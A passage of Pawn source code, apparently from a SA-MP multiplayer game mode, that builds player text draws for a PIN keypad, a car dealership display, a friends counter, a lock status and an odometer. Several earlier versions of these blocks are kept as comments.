    PlayerTextDrawTextSize(playerid, PINNum5[playerid], 416.0, 15.0);
    PlayerTextDrawSetSelectable(playerid, PINNum5[playerid], true);

    PINNum6[playerid] = CreatePlayerTextDraw(playerid, 439.375000, 232.000015, "6");
    PlayerTextDrawLetterSize(playerid, PINNum6[playerid], 0.400000, 1.600000);
    PlayerTextDrawAlignment(playerid, PINNum6[playerid], 1);
    PlayerTextDrawColor(playerid, PINNum6[playerid], -1717986358);
    PlayerTextDrawSetShadow(playerid, PINNum6[playerid], 1);
    PlayerTextDrawSetOutline(playerid, PINNum6[playerid], 0);
    PlayerTextDrawBackgroundColor(playerid, PINNum6[playerid], 255);
    PlayerTextDrawFont(playerid, PINNum6[playerid], 3);
    PlayerTextDrawSetProportional(playerid, PINNum6[playerid], 1);
    PlayerTextDrawSetShadow(playerid, PINNum6[playerid], 1);
    PlayerTextDrawTextSize(playerid, PINNum6[playerid], 444.0, 15.0);
    PlayerTextDrawSetSelectable(playerid, PINNum6[playerid], true);

    PINNum7[playerid] = CreatePlayerTextDraw(playerid, 386.250000, 261.750030, "7");
    PlayerTextDrawLetterSize(playerid, PINNum7[playerid], 0.400000, 1.600000);
    PlayerTextDrawAlignment(playerid, PINNum7[playerid], 1);
    PlayerTextDrawColor(playerid, PINNum7[playerid], -1717986358);
    PlayerTextDrawSetShadow(playerid, PINNum7[playerid], 1);
    PlayerTextDrawSetOutline(playerid, PINNum7[playerid], 0);
    PlayerTextDrawBackgroundColor(playerid, PINNum7[playerid], 255);
    PlayerTextDrawFont(playerid, PINNum7[playerid], 3);
    PlayerTextDrawSetProportional(playerid, PINNum7[playerid], 1);
    PlayerTextDrawSetShadow(playerid, PINNum7[playerid], 1);
    PlayerTextDrawTextSize(playerid, PINNum7[playerid], 400.0, 15.0);
    PlayerTextDrawSetSelectable(playerid, PINNum7[playerid], true);

    PINNum8[playerid] = CreatePlayerTextDraw(playerid, 413.750000, 261.166717, "8");
    PlayerTextDrawLetterSize(playerid, PINNum8[playerid], 0.400000, 1.600000);
    PlayerTextDrawAlignment(playerid, PINNum8[playerid], 1);
    PlayerTextDrawColor(playerid, PINNum8[playerid], -1717986358);
    PlayerTextDrawSetShadow(playerid, PINNum8[playerid], 1);
    PlayerTextDrawSetOutline(playerid, PINNum8[playerid], 0);
    PlayerTextDrawBackgroundColor(playerid, PINNum8[playerid], 255);
    PlayerTextDrawFont(playerid, PINNum8[playerid], 3);
    PlayerTextDrawSetProportional(playerid, PINNum8[playerid], 1);
    PlayerTextDrawSetShadow(playerid, PINNum8[playerid], 1);
    PlayerTextDrawTextSize(playerid, PINNum8[playerid], 418.0, 15.0);
    PlayerTextDrawSetSelectable(playerid, PINNum8[playerid], true);

    PINNum9[playerid] = CreatePlayerTextDraw(playerid, 440.000000, 260.583374, "9");
    PlayerTextDrawLetterSize(playerid, PINNum9[playerid], 0.400000, 1.600000);
    PlayerTextDrawAlignment(playerid, PINNum9[playerid], 1);
    PlayerTextDrawColor(playerid, PINNum9[playerid], -1717986358);
    PlayerTextDrawSetShadow(playerid, PINNum9[playerid], 1);
    PlayerTextDrawSetOutline(playerid, PINNum9[playerid], 0);
    PlayerTextDrawBackgroundColor(playerid, PINNum9[playerid], 255);
    PlayerTextDrawFont(playerid, PINNum9[playerid], 3);
    PlayerTextDrawSetProportional(playerid, PINNum9[playerid], 1);
    PlayerTextDrawSetShadow(playerid, PINNum9[playerid], 1);
    PlayerTextDrawTextSize(playerid, PINNum9[playerid], 445.0, 15.0);
    PlayerTextDrawSetSelectable(playerid, PINNum9[playerid], true);

    Succ[playerid] = CreatePlayerTextDraw(playerid, 383.750000, 293.250000, "-");// Sabz
    PlayerTextDrawLetterSize(playerid, Succ[playerid], 0.400000, 1.600000);
    PlayerTextDrawAlignment(playerid, Succ[playerid], 1);
    PlayerTextDrawColor(playerid, Succ[playerid], 255);
    PlayerTextDrawSetShadow(playerid, Succ[playerid], 0);
    PlayerTextDrawSetOutline(playerid, Succ[playerid], 0);
    PlayerTextDrawBackgroundColor(playerid, Succ[playerid], 255);
    PlayerTextDrawFont(playerid, Succ[playerid], 1);
    PlayerTextDrawSetProportional(playerid, Succ[playerid], 1);
    PlayerTextDrawSetShadow(playerid, Succ[playerid], 0);
    PlayerTextDrawTextSize(playerid, Succ[playerid], 388.0, 15.0);
    PlayerTextDrawSetSelectable(playerid, Succ[playerid], true);

    Unsucc[playerid] = CreatePlayerTextDraw(playerid, 445.000000, 292.666625, "-");// Ghermez
    PlayerTextDrawLetterSize(playerid, Unsucc[playerid], 0.400000, 1.600000);
    PlayerTextDrawAlignment(playerid, Unsucc[playerid], 1);
    PlayerTextDrawColor(playerid, Unsucc[playerid], 255);
    PlayerTextDrawSetShadow(playerid, Unsucc[playerid], 0);
    PlayerTextDrawSetOutline(playerid, Unsucc[playerid], 0);
    PlayerTextDrawBackgroundColor(playerid, Unsucc[playerid], 255);
    PlayerTextDrawFont(playerid, Unsucc[playerid], 1);
    PlayerTextDrawSetProportional(playerid, Unsucc[playerid], 1);
    PlayerTextDrawSetShadow(playerid, Unsucc[playerid], 0);
    PlayerTextDrawTextSize(playerid, Unsucc[playerid], 450.0, 15.0);
    PlayerTextDrawSetSelectable(playerid, Unsucc[playerid], true);

    Dayere0z[playerid] = CreatePlayerTextDraw(playerid, 402.500000, 284.499908, "Ld_Beat:chit");
    PlayerTextDrawLetterSize(playerid, Dayere0z[playerid], 0.000000, 0.000000);
    PlayerTextDrawTextSize(playerid, Dayere0z[playerid], 29.000000, 30.000000);
    PlayerTextDrawAlignment(playerid, Dayere0z[playerid], 1);
    PlayerTextDrawColor(playerid, Dayere0z[playerid], 1145325258);
    PlayerTextDrawSetShadow(playerid, Dayere0z[playerid], 0);
    PlayerTextDrawSetOutline(playerid, Dayere0z[playerid], 0);
    PlayerTextDrawBackgroundColor(playerid, Dayere0z[playerid], 255);
    PlayerTextDrawFont(playerid, Dayere0z[playerid], 4);
    PlayerTextDrawSetProportional(playerid, Dayere0z[playerid], 0);
    PlayerTextDrawSetShadow(playerid, Dayere0z[playerid], 0);

    PINNum0[playerid] = CreatePlayerTextDraw(playerid, 413.125000, 291.500000, "0");
    PlayerTextDrawLetterSize(playerid, PINNum0[playerid], 0.400000, 1.600000);
    PlayerTextDrawAlignment(playerid, PINNum0[playerid], 1);
    PlayerTextDrawColor(playerid, PINNum0[playerid], -1717986358);
    PlayerTextDrawSetShadow(playerid, PINNum0[playerid], 1);
    PlayerTextDrawSetOutline(playerid, PINNum0[playerid], 0);
    PlayerTextDrawBackgroundColor(playerid, PINNum0[playerid], 255);
    PlayerTextDrawFont(playerid, PINNum0[playerid], 3);
    PlayerTextDrawSetProportional(playerid, PINNum0[playerid], 1);
    PlayerTextDrawSetShadow(playerid, PINNum0[playerid], 1);
    PlayerTextDrawTextSize(playerid, PINNum0[playerid], 418.0, 15.0);
    PlayerTextDrawSetSelectable(playerid, PINNum0[playerid], true);

     needlog[playerid] = CreatePlayerTextDraw(playerid, 243.125000, 334.666687, "_");
     PlayerTextDrawLetterSize(playerid, needlog[playerid], 0.343750, 1.115833);
     PlayerTextDrawAlignment(playerid, needlog[playerid], 1);
     PlayerTextDrawColor(playerid, needlog[playerid], -1);
     PlayerTextDrawSetShadow(playerid, needlog[playerid], 0);
     PlayerTextDrawSetOutline(playerid, needlog[playerid], 1);
     PlayerTextDrawBackgroundColor(playerid, needlog[playerid], 255);
     PlayerTextDrawFont(playerid, needlog[playerid], 1);
     PlayerTextDrawSetProportional(playerid, needlog[playerid], 1);

	shacklog2[playerid] = CreatePlayerTextDraw(playerid, 243.125000, 334.666687, "Your account is loading...");
	PlayerTextDrawLetterSize(playerid, shacklog2[playerid], 0.343750, 1.115833);
	PlayerTextDrawAlignment(playerid, shacklog2[playerid], 1);
	PlayerTextDrawColor(playerid, shacklog2[playerid], -1);
	PlayerTextDrawSetShadow(playerid, shacklog2[playerid], 0);
	PlayerTextDrawSetOutline(playerid, shacklog2[playerid], 1);
	PlayerTextDrawBackgroundColor(playerid, shacklog2[playerid], 255);
	PlayerTextDrawFont(playerid, shacklog2[playerid], 1);
	PlayerTextDrawSetProportional(playerid, shacklog2[playerid], 1);

/*	reportstext2[playerid] = CreatePlayerTextDraw(playerid, 73, 290, "~r~Reports:_~g~120_]_~r~Helpmes:_~b~120");
	PlayerTextDrawLetterSize(playerid, reportstext2[playerid], 0.403764, 1.414998);
	PlayerTextDrawTextSize(playerid, reportstext2[playerid], 0.000000, 101.000000);
	PlayerTextDrawAlignment(playerid, reportstext2[playerid], 2);
	PlayerTextDrawColor(playerid, reportstext2[playerid], -1);
	//  PlayerTextDrawUseBox(playerid, reportstext2[playerid], 1);
	//  PlayerTextDrawBoxColor(playerid, reportstext2[playerid], 100);
	PlayerTextDrawSetShadow(playerid, reportstext2[playerid], 1);
	PlayerTextDrawSetOutline(playerid, reportstext2[playerid], 0);
	PlayerTextDrawBackgroundColor(playerid, reportstext2[playerid], 255);
	PlayerTextDrawFont(playerid, reportstext2[playerid], 1);
	PlayerTextDrawSetProportional(playerid, reportstext2[playerid], 1);
	PlayerTextDrawSetShadow(playerid, reportstext2[playerid], 1);*/


	CarModel[playerid] = CreatePlayerTextDraw(playerid, 457.000000, 191.644439, "Model: Infernus");
	PlayerTextDrawLetterSize(playerid, CarModel[playerid], 0.423999, 1.824000);
	PlayerTextDrawAlignment(playerid, CarModel[playerid], 1);
	PlayerTextDrawColor(playerid, CarModel[playerid], -1);
	PlayerTextDrawSetShadow(playerid, CarModel[playerid], 0);
	PlayerTextDrawSetOutline(playerid, CarModel[playerid], 1);
	PlayerTextDrawBackgroundColor(playerid, CarModel[playerid], 51);
	PlayerTextDrawFont(playerid, CarModel[playerid], 1);
	PlayerTextDrawSetProportional(playerid, CarModel[playerid], 1);

	PriceModel[playerid] = CreatePlayerTextDraw(playerid, 459.000000, 207.822204, "Price: 1.150.000");
	PlayerTextDrawLetterSize(playerid, PriceModel[playerid], 0.449999, 1.600000);
	PlayerTextDrawAlignment(playerid, PriceModel[playerid], 1);
	PlayerTextDrawColor(playerid, PriceModel[playerid], -1);
	PlayerTextDrawSetShadow(playerid, PriceModel[playerid], 0);
	PlayerTextDrawSetOutline(playerid, PriceModel[playerid], 1);
	PlayerTextDrawBackgroundColor(playerid, PriceModel[playerid], 51);
	PlayerTextDrawFont(playerid, PriceModel[playerid], 1);
	PlayerTextDrawSetProportional(playerid, PriceModel[playerid], 1);
/*
	Textdraw85 = CreatePlayerTextDraw(playerid, 552.000000, 180.000000, "Infernus");
PlayerTextDrawLetterSize(playerid, Textdraw85, 0.400000, 1.600000);
PlayerTextDrawAlignment(playerid, Textdraw85, 1);
PlayerTextDrawColor(playerid, Textdraw85, 255);
PlayerTextDrawSetShadow(playerid, Textdraw85, 0);
PlayerTextDrawSetOutline(playerid, Textdraw85, 1);
PlayerTextDrawBackgroundColor(playerid, Textdraw85, -1);
PlayerTextDrawFont(playerid, Textdraw85, 1);
PlayerTextDrawSetProportional(playerid, Textdraw85, 1);
PlayerTextDrawSetShadow(playerid, Textdraw85, 0);
*/
/*
	SkinPreview[playerid] = CreatePlayerTextDraw(playerid,-34.000000, 365.000000, "_");
	PlayerTextDrawBackgroundColor(playerid,SkinPreview[playerid], 0);
	PlayerTextDrawFont(playerid,SkinPreview[playerid], 5);
	PlayerTextDrawLetterSize(playerid,SkinPreview[playerid], 0.749998, 1.899999);
	PlayerTextDrawColor(playerid,SkinPreview[playerid], -1);
	PlayerTextDrawSetOutline(playerid,SkinPreview[playerid], 0);
	PlayerTextDrawSetProportional(playerid,SkinPreview[playerid], 1);
	PlayerTextDrawSetShadow(playerid,SkinPreview[playerid], 1);
	PlayerTextDrawUseBox(playerid,SkinPreview[playerid], 1);
	PlayerTextDrawBoxColor(playerid,SkinPreview[playerid], 0);
	PlayerTextDrawTextSize(playerid,SkinPreview[playerid], 106.000000, 72.000000);
	PlayerTextDrawSetPreviewModel(playerid, SkinPreview[playerid], 0);
	PlayerTextDrawSetPreviewRot(playerid, SkinPreview[playerid], -8.000000, 0.000000, 15.000000, 1.000000);
	PlayerTextDrawSetSelectable(playerid,SkinPreview[playerid], 0);
*/
/*
CarTD[playerid] = CreatePlayerTextDraw(playerid, 552.000000, 178.000000, "");
PlayerTextDrawLetterSize(playerid, CarTD[playerid], 0.000000, 0.000000);
PlayerTextDrawTextSize(playerid, CarTD[playerid], 100.000000, 100.000000);
PlayerTextDrawAlignment(playerid, CarTD[playerid], 1);
PlayerTextDrawColor(playerid, CarTD[playerid], -1);
PlayerTextDrawSetShadow(playerid, CarTD[playerid], 0);
PlayerTextDrawSetOutline(playerid, CarTD[playerid], 0);
PlayerTextDrawBackgroundColor(playerid, CarTD[playerid], 0);
PlayerTextDrawFont(playerid, CarTD[playerid], TEXT_DRAW_FONT_MODEL_PREVIEW);
PlayerTextDrawSetProportional(playerid, CarTD, 0);
PlayerTextDrawSetShadow(playerid, CarTD, 0);
PlayerTextDrawSetPreviewModel(playerid, CarTD, 411);
PlayerTextDrawSetPreviewRot(playerid, CarTD, 360.000000, 0.000000, 326.000000, 1.000000);
*/
	// New PlayerName Bala Map by Sina
	TD_PlayerName[playerid] = CreatePlayerTextDraw(playerid, 90.000000, 320.000000, "Name");
	PlayerTextDrawLetterSize(playerid, TD_PlayerName[playerid], 0.400000, 1.700000);
	PlayerTextDrawColor(playerid, TD_PlayerName[playerid], 0x800000FF);
	PlayerTextDrawAlignment(playerid, TD_PlayerName[playerid], 2);
	PlayerTextDrawSetShadow(playerid, TD_PlayerName[playerid], 1);
	PlayerTextDrawUseBox(playerid, TD_PlayerName[playerid], false);
	PlayerTextDrawBoxColor(playerid, TD_PlayerName[playerid], 0);
	PlayerTextDrawSetOutline(playerid, TD_PlayerName[playerid], 0);
	PlayerTextDrawBackgroundColor(playerid, TD_PlayerName[playerid], 0x00000033);
	PlayerTextDrawFont(playerid, TD_PlayerName[playerid], 1);
	PlayerTextDrawSetProportional(playerid, TD_PlayerName[playerid], 1);
	PlayerTextDrawSetSelectable(playerid, TD_PlayerName[playerid], 0);
	
	
	
	SAR[playerid] = CreatePlayerTextDraw(playerid, 540.000000, 418.666717, "SAR Status: ~r~Disabled");
	PlayerTextDrawLetterSize(playerid, SAR[playerid], 0.278124, 1.360834);
	PlayerTextDrawColor(playerid, SAR[playerid], -1);
	PlayerTextDrawAlignment(playerid, SAR[playerid], 1);
	PlayerTextDrawSetShadow(playerid, SAR[playerid], 1);
	PlayerTextDrawUseBox(playerid, SAR[playerid], false);
	PlayerTextDrawBoxColor(playerid, SAR[playerid], 0);
	PlayerTextDrawSetOutline(playerid, SAR[playerid], 0);
	PlayerTextDrawBackgroundColor(playerid, SAR[playerid], 0x00000033);
	PlayerTextDrawFont(playerid, SAR[playerid], 1);
	PlayerTextDrawSetProportional(playerid, SAR[playerid], 1);
	PlayerTextDrawSetSelectable(playerid, SAR[playerid], 0);
	
	/*
	
	GoshnegiBox = CreatePlayerTextDraw(playerid, 499.375000, 101.916641, "_");// Goshnegi box
	PlayerTextDrawLetterSize(playerid, GoshnegiBox, 0.525000, 0.264166);
	PlayerTextDrawTextSize(playerid, GoshnegiBox, 603.000000, 0.000000);
	PlayerTextDrawAlignment(playerid, GoshnegiBox, 1);
	PlayerTextDrawColor(playerid, GoshnegiBox, -1);
	PlayerTextDrawUseBox(playerid, GoshnegiBox, 1);
	PlayerTextDrawBoxColor(playerid, GoshnegiBox, -16776961);
	PlayerTextDrawSetShadow(playerid, GoshnegiBox, 0);
	PlayerTextDrawSetOutline(playerid, GoshnegiBox, 0);
	PlayerTextDrawBackgroundColor(playerid, GoshnegiBox, 255);
	PlayerTextDrawFont(playerid, GoshnegiBox, 1);
	PlayerTextDrawSetProportional(playerid, GoshnegiBox, 1);
	PlayerTextDrawSetShadow(playerid, GoshnegiBox, 0);
	
	
	TeshnegiBox = CreatePlayerTextDraw(playerid, 499.375000, 111.249977, "_");// Teshnegi box
	PlayerTextDrawLetterSize(playerid, TeshnegiBox, 0.440000, 0.234999);
	PlayerTextDrawTextSize(playerid, TeshnegiBox, 603.000000, 0.000000);
	PlayerTextDrawAlignment(playerid, TeshnegiBox, 1);
	PlayerTextDrawColor(playerid, TeshnegiBox, -1);
	PlayerTextDrawUseBox(playerid, TeshnegiBox, 1);
	PlayerTextDrawBoxColor(playerid, TeshnegiBox, 16777215);
	PlayerTextDrawSetShadow(playerid, TeshnegiBox, 0);
	PlayerTextDrawSetOutline(playerid, TeshnegiBox, 0);
	PlayerTextDrawBackgroundColor(playerid, TeshnegiBox, 255);
	PlayerTextDrawFont(playerid, TeshnegiBox, 1);
	PlayerTextDrawSetProportional(playerid, TeshnegiBox, 1);
	PlayerTextDrawSetShadow(playerid, TeshnegiBox, 0);
	
	
	
	GoshnegiDarsad = CreatePlayerTextDraw(playerid, 500.000000, 91.999977, "._._._._._._._._._.");// Goshnegi darsad
	PlayerTextDrawLetterSize(playerid, GoshnegiDarsad, 0.400000, 1.600000);
	PlayerTextDrawAlignment(playerid, GoshnegiDarsad, 1);
	PlayerTextDrawColor(playerid, GoshnegiDarsad, 255);
	PlayerTextDrawSetShadow(playerid, GoshnegiDarsad, 0);
	PlayerTextDrawSetOutline(playerid, GoshnegiDarsad, 0);
	PlayerTextDrawBackgroundColor(playerid, GoshnegiDarsad, 255);
	PlayerTextDrawFont(playerid, GoshnegiDarsad, 1);
	PlayerTextDrawSetProportional(playerid, GoshnegiDarsad, 1);
	PlayerTextDrawSetShadow(playerid, GoshnegiDarsad, 0);
	
	
	
	
	TeshnegiDarsad = CreatePlayerTextDraw(playerid, 500.000000, 101.333366, "._._._._._._._._._.");// Teshnegi darsad
	PlayerTextDrawLetterSize(playerid, TeshnegiDarsad, 0.400000, 1.600000);
	PlayerTextDrawAlignment(playerid, TeshnegiDarsad, 1);
	PlayerTextDrawColor(playerid, TeshnegiDarsad, 255);
	PlayerTextDrawSetShadow(playerid, TeshnegiDarsad, 0);
	PlayerTextDrawSetOutline(playerid, TeshnegiDarsad, 0);
	PlayerTextDrawBackgroundColor(playerid, TeshnegiDarsad, 255);
	PlayerTextDrawFont(playerid, TeshnegiDarsad, 1);
	PlayerTextDrawSetProportional(playerid, TeshnegiDarsad, 1);
	PlayerTextDrawSetShadow(playerid, TeshnegiDarsad, 0);
	
	*/
	

/*	TD_PlayerName = CreatePlayerTextDraw(playerid, 80.000000, 427.589263, "MrVoX");
	PlayerTextDrawLetterSize(playerid, TD_PlayerName, 0.352000, 1.829304);
	PlayerTextDrawTextSize(playerid, TD_PlayerName, 1819.500000, -9.955535);
	PlayerTextDrawAlignment(playerid, TD_PlayerName, 2);
	PlayerTextDrawColor(playerid, TD_PlayerName, 0x66FFFF);
	PlayerTextDrawUseBox(playerid, TD_PlayerName, true);
	PlayerTextDrawBoxColor(playerid, TD_PlayerName, 0);
	PlayerTextDrawSetShadow(playerid, TD_PlayerName, 1);
	PlayerTextDrawSetOutline(playerid, TD_PlayerName, 0);
	PlayerTextDrawBackgroundColor(playerid, TD_PlayerName, 255);
	PlayerTextDrawFont(playerid, TD_PlayerName, 2);
	PlayerTextDrawSetProportional(playerid, TD_PlayerName, 1);
 */
	//5963521
/*
	Wantedtimeleft = CreatePlayerTextDraw(playerid, 290.000000, 430.000000, "Wanted Time Left:");
	PlayerTextDrawLetterSize(playerid, Wantedtimeleft, 0.203764, 1.214998);
	PlayerTextDrawTextSize(playerid, Wantedtimeleft, 0.000000, 101.000000);
	PlayerTextDrawAlignment(playerid, Wantedtimeleft, 2);
	PlayerTextDrawColor(playerid, Wantedtimeleft, -1);
	PlayerTextDrawUseBox(playerid, Wantedtimeleft, 1);
	PlayerTextDrawBoxColor(playerid, Wantedtimeleft, 100);
	PlayerTextDrawSetShadow(playerid, Wantedtimeleft, 0);
	PlayerTextDrawSetOutline(playerid, Wantedtimeleft, 0);
	PlayerTextDrawBackgroundColor(playerid, Wantedtimeleft, 255);
	PlayerTextDrawFont(playerid, Wantedtimeleft, 1);
	PlayerTextDrawSetProportional(playerid, Wantedtimeleft, 1);
	PlayerTextDrawSetShadow(playerid, Wantedtimeleft, 0);
*/
/*	WelcomeMsg[playerid] = TextDrawCreate(210.399978, 166.506652, "CHECK BAN STATUS...");
	TextDrawLetterSize(WelcomeMsg[playerid], 0.918799, 2.981332);
	TextDrawAlignment(WelcomeMsg[playerid], 1);
	TextDrawColor(WelcomeMsg[playerid],  0xFFFACD);
	TextDrawSetShadow(WelcomeMsg[playerid], 2);
	TextDrawSetOutline(WelcomeMsg[playerid], 0);
	TextDrawBackgroundColor(WelcomeMsg[playerid], 51);
	TextDrawFont(WelcomeMsg[playerid], 2);
	TextDrawSetProportional(WelcomeMsg[playerid], 1);
*/


	DistanceTD[playerid] = CreatePlayerTextDraw(playerid, 260.625000, 385.416778, "Distance");
	PlayerTextDrawLetterSize(playerid, DistanceTD[playerid], 0.310000, 1.395834);
	//PlayerTextDrawTextSize(playerid, DistanceTD[playerid], 0.000000, 433.000000);
	PlayerTextDrawAlignment(playerid, DistanceTD[playerid], 1);
	PlayerTextDrawColor(playerid, DistanceTD[playerid], -1);
	//PlayerTextDrawUseBox(playerid, DistanceTD[playerid], 1);
	//PlayerTextDrawBoxColor(playerid, DistanceTD[playerid], -256);
	PlayerTextDrawSetShadow(playerid, DistanceTD[playerid], 0);
	PlayerTextDrawSetOutline(playerid, DistanceTD[playerid], 1);
	PlayerTextDrawBackgroundColor(playerid, DistanceTD[playerid], 255);
	PlayerTextDrawFont(playerid, DistanceTD[playerid], 1);
	PlayerTextDrawSetProportional(playerid, DistanceTD[playerid], 1);
	PlayerTextDrawSetShadow(playerid, DistanceTD[playerid], 0);

	/*
	NextModel = CreatePlayerTextDraw(playerid, 475.00000, 350.00000, ">");
	PlayerTextDrawLetterSize(playerid, NextModel, 0.400000, 3.000000);
	PlayerTextDrawColor(playerid, NextModel, -1);
	PlayerTextDrawAlignment(playerid, NextModel, 0);
	PlayerTextDrawSetShadow(playerid, NextModel, 0);
	PlayerTextDrawSetOutline(playerid, NextModel, 1);
	PlayerTextDrawFont(playerid, NextModel, 1);
	PlayerTextDrawSetProportional(playerid, NextModel, 1);
	PlayerTextDrawSetSelectable(playerid, NextModel, 1);

	PrevModel = CreatePlayerTextDraw(playerid, 200.00000, 350.00000, "<");
	PlayerTextDrawLetterSize(playerid, PrevModel, 0.400000, 3.000000);
	PlayerTextDrawColor(playerid, PrevModel, -1);
	PlayerTextDrawAlignment(playerid, PrevModel, 0);
	PlayerTextDrawSetShadow(playerid, PrevModel, 0);
	PlayerTextDrawSetOutline(playerid, PrevModel, 1);
	PlayerTextDrawFont(playerid, PrevModel, 1);
	PlayerTextDrawSetProportional(playerid, PrevModel, 1);
	PlayerTextDrawSetSelectable(playerid, PrevModel, 1);
	*/

/*
	Friend[playerid] = CreatePlayerTextDraw(playerid, 110.00000, 230.00000, "You have X online players in ~n~your list.");
	PlayerTextDrawLetterSize(playerid, Friend[playerid], 0.300000, 1.400000);
	PlayerTextDrawColor(playerid, Friend[playerid], 0x6FFF44FF);
	PlayerTextDrawAlignment(playerid, Friend[playerid], 2);
	PlayerTextDrawSetShadow(playerid, Friend[playerid], 0);
	PlayerTextDrawUseBox(playerid, Friend[playerid], false);
	PlayerTextDrawBoxColor(playerid, Friend[playerid], 0);
	PlayerTextDrawSetOutline(playerid, Friend[playerid], 0);
	PlayerTextDrawFont(playerid, Friend[playerid], 1);
	PlayerTextDrawSetProportional(playerid, Friend[playerid], 1);
	PlayerTextDrawSetSelectable(playerid, Friend[playerid], 0);
*/
Friend[playerid] = CreatePlayerTextDraw(playerid, 102.799858, 213.546555, "~y~You have ~r~0~y~/~r~0 ~y~online friends.");
PlayerTextDrawBackgroundColor(playerid, Friend[playerid], 255);
PlayerTextDrawSetShadow(playerid, Friend[playerid], 0);
PlayerTextDrawSetProportional(playerid, Friend[playerid] , 1);
PlayerTextDrawUseBox(playerid, Friend[playerid], 1);
PlayerTextDrawBoxColor(playerid, Friend[playerid], 255);
PlayerTextDrawTextSize(playerid, Friend[playerid], -159.600006, 183.182220);
PlayerTextDrawAlignment(playerid, Friend[playerid], 2);
PlayerTextDrawLetterSize(playerid, Friend[playerid], 0.287600 , 1.595021);
PlayerTextDrawColor(playerid, Friend[playerid], 255);
PlayerTextDrawSetOutline(playerid, Friend[playerid], 0);
PlayerTextDrawFont(playerid, Friend[playerid], 1);


	Input1[playerid] = CreatePlayerTextDraw(playerid, 518.000000, 244.533325, "-");
	PlayerTextDrawLetterSize(playerid, Input1[playerid], 0.918499, 2.894221);
	PlayerTextDrawAlignment(playerid, Input1[playerid], 1);
	PlayerTextDrawColor(playerid, Input1[playerid], -1);
	PlayerTextDrawSetShadow(playerid, Input1[playerid], 0);
	PlayerTextDrawSetOutline(playerid, Input1[playerid], 1);
	PlayerTextDrawBackgroundColor(playerid, Input1[playerid], 51);
	PlayerTextDrawFont(playerid, Input1[playerid], 3);
	PlayerTextDrawSetProportional(playerid, Input1[playerid], 1);

	Input2[playerid] = CreatePlayerTextDraw(playerid, 549.000000, 243.288848, "-");
	PlayerTextDrawLetterSize(playerid, Input2[playerid], 0.758500, 3.062222);
	PlayerTextDrawAlignment(playerid, Input2[playerid], 1);
	PlayerTextDrawColor(playerid, Input2[playerid], -1);
	PlayerTextDrawSetShadow(playerid, Input2[playerid], 0);
	PlayerTextDrawSetOutline(playerid, Input2[playerid], 1);
	PlayerTextDrawBackgroundColor(playerid, Input2[playerid], 51);
	PlayerTextDrawFont(playerid, Input2[playerid], 3);
	PlayerTextDrawSetProportional(playerid, Input2[playerid], 1);

	Input3[playerid] = CreatePlayerTextDraw(playerid, 577.000000, 244.533294, "-");
	PlayerTextDrawLetterSize(playerid, Input3[playerid], 0.751999, 2.894223);
	PlayerTextDrawAlignment(playerid, Input3[playerid], 1);
	PlayerTextDrawColor(playerid, Input3[playerid], -1);
	PlayerTextDrawSetShadow(playerid, Input3[playerid], 0);
	PlayerTextDrawSetOutline(playerid, Input3[playerid], 1);
	PlayerTextDrawBackgroundColor(playerid, Input3[playerid], 51);
	PlayerTextDrawFont(playerid, Input3[playerid], 3);
	PlayerTextDrawSetProportional(playerid, Input3[playerid], 1);

	Input4[playerid] = CreatePlayerTextDraw(playerid, 605.500000, 243.288879, "-");
	PlayerTextDrawLetterSize(playerid, Input4[playerid], 0.817999, 3.012442);
	PlayerTextDrawAlignment(playerid, Input4[playerid], 1);
	PlayerTextDrawColor(playerid, Input4[playerid], -1);
	PlayerTextDrawSetShadow(playerid, Input4[playerid], 0);
	PlayerTextDrawSetOutline(playerid, Input4[playerid], 1);
	PlayerTextDrawBackgroundColor(playerid, Input4[playerid], 51);
	PlayerTextDrawFont(playerid, Input4[playerid], 3);
	PlayerTextDrawSetProportional(playerid, Input4[playerid], 1);

	/*----------------------------------------------------------------------------*/


	/*----------------------------------------------------------------------------*/

/*
	WarST[playerid] = CreatePlayerTextDraw(playerid, 421.500000, 281.866638, "F_Score:_None");
	PlayerTextDrawLetterSize(playerid, WarST[playerid], 0.345500, 1.469333);
	PlayerTextDrawAlignment(playerid, WarST[playerid], 1);
	PlayerTextDrawColor(playerid, WarST[playerid], -1);
	PlayerTextDrawSetShadow(playerid, WarST[playerid], 0);
	PlayerTextDrawSetOutline(playerid, WarST[playerid], 1);
	PlayerTextDrawBackgroundColor(playerid, WarST[playerid], 51);
	PlayerTextDrawFont(playerid, WarST[playerid], 2);
	PlayerTextDrawSetProportional(playerid, WarST[playerid], 1);
*/
	/*----------------------------------------------------------------------------*/

	/*----------------------------------------------------------------------------*/
	ExamTD[playerid] = CreatePlayerTextDraw(playerid, 309.000000, 338.488830, "1/40");
	PlayerTextDrawLetterSize(playerid, ExamTD[playerid], 0.467999, 1.693333);
	PlayerTextDrawAlignment(playerid, ExamTD[playerid], 1);
	PlayerTextDrawColor(playerid, ExamTD[playerid], -1);
	PlayerTextDrawSetShadow(playerid, ExamTD[playerid], 0);
	PlayerTextDrawSetOutline(playerid, ExamTD[playerid], 1);
	PlayerTextDrawBackgroundColor(playerid, ExamTD[playerid], 51);
	PlayerTextDrawFont(playerid, ExamTD[playerid], 1);
	PlayerTextDrawSetProportional(playerid, ExamTD[playerid], 1);
	/*----------------------------------------------------------------------------*/

/*
	LockTD = CreatePlayerTextDraw(playerid, 469.000000, 374.577819, "Unlocked");
	PlayerTextDrawLetterSize(playerid, LockTD, 0.290999, 1.407111);
	PlayerTextDrawAlignment(playerid, LockTD, 1);
	PlayerTextDrawColor(playerid, LockTD, -1);
	PlayerTextDrawSetShadow(playerid, LockTD, 0);
	PlayerTextDrawSetOutline(playerid, LockTD, 1);
	PlayerTextDrawBackgroundColor(playerid, LockTD, 51);
	PlayerTextDrawFont(playerid, LockTD, 2);
	PlayerTextDrawSetProportional(playerid, LockTD, 1);
*/

	LockTD[playerid] = CreatePlayerTextDraw(playerid, 516.750000, 164.849990, "Status: ~r~Locked");
	PlayerTextDrawLetterSize(playerid, LockTD[playerid], 0.298000, 1.413333);
	PlayerTextDrawAlignment(playerid, LockTD[playerid], 1);
	PlayerTextDrawColor(playerid, LockTD[playerid], -1);
	PlayerTextDrawSetShadow(playerid, LockTD[playerid], 1);
	PlayerTextDrawSetOutline(playerid, LockTD[playerid], 0);
	PlayerTextDrawBackgroundColor(playerid, LockTD[playerid], 255);
	PlayerTextDrawFont(playerid, LockTD[playerid], 1);
	PlayerTextDrawSetProportional(playerid, LockTD[playerid], 1);


	/*----------------------------------------------------------------------------*/



	KiloTextDraw[playerid] = CreatePlayerTextDraw(playerid, 503.625000, 153.683349, "Odometer: Km");
	PlayerTextDrawAlignment(playerid, KiloTextDraw[playerid], 1);
